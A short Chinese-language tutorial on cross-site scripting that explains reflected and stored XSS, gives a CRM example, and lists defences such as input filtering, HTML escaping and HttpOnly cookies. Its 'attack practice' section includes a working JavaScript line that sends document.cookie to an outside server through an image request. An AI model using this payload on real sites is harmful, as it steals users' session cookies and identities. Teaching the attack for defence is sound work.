概念:跨站脚本攻击(Cross-Site Scripting),指的是跨脚本攻击,指的是攻击者在网页中嵌套,恶意脚本程序,当用户打开网页时,程序开始在浏览器上启动,盗取用户的cookie(存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息),从而盗取密码等信息,一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互或者下载执行木马程序等。
攻击原理:XSS之所以会发生,是因为用户输入的数据变成了可执行的恶意代码被保存,在网站中的其他用户请求数据时,恶意代码被执行。
攻击方法:
- XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
- XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。
攻击实战:
- 窃取用户的cookie:在目标网站上搜寻可提交数据的接口或者表单,将下面代码提交到服务器(具体操作步骤暂不公开)。如下面的代码:读取目标网站的cookie发送到黑客的服务器上
var i=document.createElement("img"); document.body.appendChild(i); i.src = "http://www.w3capi.com/?c=" + document.cookie;
- 读取用户未公开的资料:邮件列表或者内容、系统的客户资料,联系人列表等等;这种攻击方法需要攻击者了解目标网站数据的请求和呈现形式,比如:请求读取目标网站联系人列表接口 并将数据发送到黑客的服务器上
防御方法:
- 在表单提交或者url参数传递前,对需要的参数进行过滤,可以直接再网上搜索XSS过滤工具类使用
- 对用户输入的数据进行HTML转义处理,将其中的“尖括号”、“单引号”、“引号” 之类的特殊字符进行转义编码
- HttpOnly 浏览器禁止页面的JS访问带有HttpOnly属性的Cookie